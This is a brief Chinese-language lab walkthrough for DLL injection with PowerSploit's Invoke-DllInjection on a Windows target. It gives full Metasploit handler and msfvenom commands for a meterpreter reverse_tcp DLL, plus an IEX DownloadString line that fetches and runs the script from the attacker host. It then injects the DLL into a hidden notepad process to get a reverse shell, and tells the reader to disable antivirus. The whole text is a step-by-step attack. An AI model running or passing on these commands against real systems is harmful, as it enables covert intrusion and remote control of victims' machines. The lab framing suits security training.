1. Invoke-DLLInjection简介
使用Code Execution模块的Invoke-DLLInjection,是一个DLL注入的脚本。
2. 实验环境
Kali: 192.168.101.46
目标机器:192.168.101.124
3. 配置msf
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.101.46
run
4. 在kali上生成dll脚本
新打开一个会话窗,输入
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.101.46 lport=4444 -f dll -o /var/www/html/test.dll
5. 在目标机器下载Invoke-DllInjection.psl脚本
IEX (New-Object Net.WebClient).DownloadString("http://192.168.101.46/PowerSploit/CodeExecution/Invoke-DllInjection.ps1")
6. 把生成的test.dll上传到目标服务器的C盘
把生成的test.dll上传到目标服务器的C盘后,就能启动一个新的进程进行DLL注入,这样可以使注入更加隐蔽。
7. 使用以下命令新建一个名为notepad.exe的隐藏进程
Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden
8. 获取notepad的进程号
Get-Process -Name notepad
9. 使用以下命令进行注入
Invoke-DllInjection -ProcessID 216 -Dll c:\test.dll
10. 返回MSF监听界面,发现已经反弹成功
11. 注意点
杀毒软件报毒,实验环境可退出杀毒软件!!!